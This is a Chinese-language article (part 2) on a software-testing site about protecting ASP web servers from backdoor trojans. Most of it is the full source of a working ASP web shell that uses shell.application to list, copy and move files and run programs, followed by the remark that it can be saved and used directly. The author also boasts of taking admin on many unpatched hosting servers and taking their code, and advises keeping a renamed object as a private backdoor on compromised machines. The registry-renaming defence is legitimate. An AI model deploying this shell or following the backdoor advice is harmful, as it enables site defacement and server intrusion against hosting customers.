• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

Web服务器上防范基于ASP程序的木马(2)

发布: 2007-6-30 18:56 | 作者: admin | 来源: | 查看: 13次 | 进入软件测试论坛讨论

领测软件测试网      接下来让我们再来看下一款ASP后门木马程序的代码:
  
  <%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
  <%response.write now()%><BR>程序所在的物理路径:
  <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
  <html>
  <title>asps shell.application backdoor </title>
  <body>
  <form action="<%= Request.ServerVariables("URL") %>" method="POST">
  <input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
  <input type=text name=text1 value="<%=szCMD1 %>">
  copy
  <input type=text name=text2 value="<%=szCMD2 %>"><br>
  <input type=text name=text3 value="<%=szCMD3 %>">
  move
  <input type=text name=text4 value="<%=szCMD4 %>"><br>
  路径:<input type=text name=text5 value="<%=szCMD5 %>">
  程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
  <input type=submit name=sb value=发送命令>
  </form>
  </body>
  </html>
  <%
  szCMD = Request.Form("text") 目录浏览
  if (szCMD <> "") then
   set shell=server.createobject("shell.application") 建立shell对象
   set fod1=shell.namespace(szcmd)
   set foditems=fod1.items
   for each co in foditems
    response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
   next
  end if
  %> <%
  szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝
  szCMD2 = Request.Form("text2")
  if szcmd1<>"" and szcmd2<>"" then
   set shell1=server.createobject("shell.application") 建立shell对象
   set fod1=shell1.namespace(szcmd2)
   for i=len(szcmd1) to 1 step -1
    if mid(szcmd1,i,1)="" then
     path=left(szcmd1,i-1)
     exit for
    end if
   next
   if len(path)=2 then path=path & ""
    path2=right(szcmd1,len(szcmd1)-i)
    set fod2=shell1.namespace(path)
    set foditem=fod2.parsename(path2)
    fod1.copyhere foditem
    response.write "command completed success!"
   end if
  %> <%
  szCMD3 = Request.Form("text3") 目录移动
  szCMD4 = Request.Form("text4")
  if szcmd3<>"" and szcmd4<>"" then
   set shell2=server.createobject("shell.application") 建立shell对象
   set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
   if mid(szcmd3,i,1)="" then
    path=left(szcmd3,i-1)
    exit for
   end if
   next
   if len(path)=2 then path=path & ""
    path2=right(szcmd3,len(szcmd3)-i)
    set fod2=shell2.namespace(path)
    set foditem=fod2.parsename(path2)
    fod1.movehere foditem
    response.write "command completed success!"
   end if
  %>
  <%
  szCMD5 = Request.Form("text5") 执行程序要指定路径
  szCMD6 = Request.Form("text6")
  if szcmd5<>"" and szcmd6<>"" then
   set shell3=server.createobject("shell.application") 建立shell对象
   shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
   response.write "command completed success!"
  end if
  %>
  
    要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del.net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。
    最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
  
    然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。
  
    言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:
  
  
  set shell=server.createobject("shell.application")
  
    跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)
  
    其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
  
    注:以上代码复制保存为ASP文件就可以直接使用了。
  
  

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网